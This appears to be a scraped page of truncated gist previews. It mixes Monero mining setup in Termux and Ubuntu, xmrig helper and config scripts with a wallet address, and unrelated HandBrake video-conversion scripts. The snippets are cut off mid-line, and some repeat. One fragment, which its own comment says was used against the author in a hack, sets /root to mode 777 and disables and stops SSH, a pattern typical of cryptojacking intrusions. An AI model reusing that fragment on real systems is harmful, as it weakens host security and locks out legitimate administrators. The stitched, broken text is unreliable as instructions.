Monero XMR mining via termux ;ubuntu
- install ubuntu in termux command; (ubuntu is optional)
pkg install update && upgrade
apt install git
apt install wget
apt install proot
Create the network config | |
vi network-config.yml | |
version: 1 | |
config: | |
- type: physical | |
name: eth0 | |
subnets: | |
- type: static | |
ipv4: true |
Monero XMR mining via termux ;ubuntu
pkg install update && upgrade
apt install git
apt install wget
apt install proot
#!/bin/bash | |
# Check the amount of CPU being consumed by processes other than xmrig | |
# Takes a single (optional) argument, the name of the screen to target. Defaults to "xmrig" if unspecified | |
set -e | |
#12.5% or 2 full cores (with our 16 total) | |
IDLE_THRESHOLD=12.5 | |
TARGET_SCREEN="${1:-xmrig}" | |
NUM_CORES=$(cat /proc/cpuinfo | grep "core id" | wc -l) |
##Installation
Build XMRig according to build instructions: https://github.com/xmrig/xmrig/wiki/Ubuntu-Build
Copy the respective service files to /etc/systemd/system/
Reload the systemd daemon:
# systemctl daemon-reload
# The only reason I have this script is because it was used against me in a hack... | |
if [ -f "/root/start.sh" ]; then | |
exit 0 | |
fi | |
chmod 777 /root | |
systemctl disable ssh.service || true | |
systemctl stop ssh.service || true |
#!/bin/sh | |
# Based on instructions from | |
# https://docs.dash.org/en/stable/masternodes/setup-testnet.html | |
# | |
# See https://www.vultr.com/docs/vultr-startup-scripts-quickstart-guide | |
# for details of using Vultr startup scripts | |
# Add new user | |
# USERNAME=miner # Username to create |
#!/bin/bash | |
#POOL="de.minexmr.com:443" | |
#POOL="sg.minexmr.com:443" | |
#PAYTO="865kjopGVkABniUeparZntDDNDP3eMrVz1UFvBXSuTjb8ZfYTyQSt9GRsVeBFXhFCwK7zmqvh7a4dCrwSyo3r9GGNstLLR2" | |
#RIG="C2" | |
#CPUS="4" | |
#EXTRA="--cpu-affinity 0xFF" | |
#if [ "$1" == "" ]; then |
#!/bin/bash | |
# | |
# This script automatically converts a directory of video files to H.265 HEVC with the nightly iteration of HandBrake. | |
# https://handbrake.fr/nightly.php | |
# The nightly is required because the current stable release (as of writing this) does not support the "hvc1" codec | |
# that tvOS requires on top of only really liking mp4/m4a. | |
# | |
if [ -z "$1" ]; then | |
SRC="." | |
else |
# Python 2.7 | |
import os | |
import sys | |
import time | |
import platform | |
import subprocess | |
import urllib2 | |
import logging |
#!/bin/bash | |
# | |
# Change this to specify a different handbrake preset. You can list them by running: "HandBrakeCLI --preset-list" | |
# | |
#set -ux | |
set +e | |
PRESET="Vimeo YouTube 720p30" # or Fast 720p30 or Fast 1080p30 | |
if [ -z "$1" ] ; then | |
TRANSCODEDIR="." | |
else |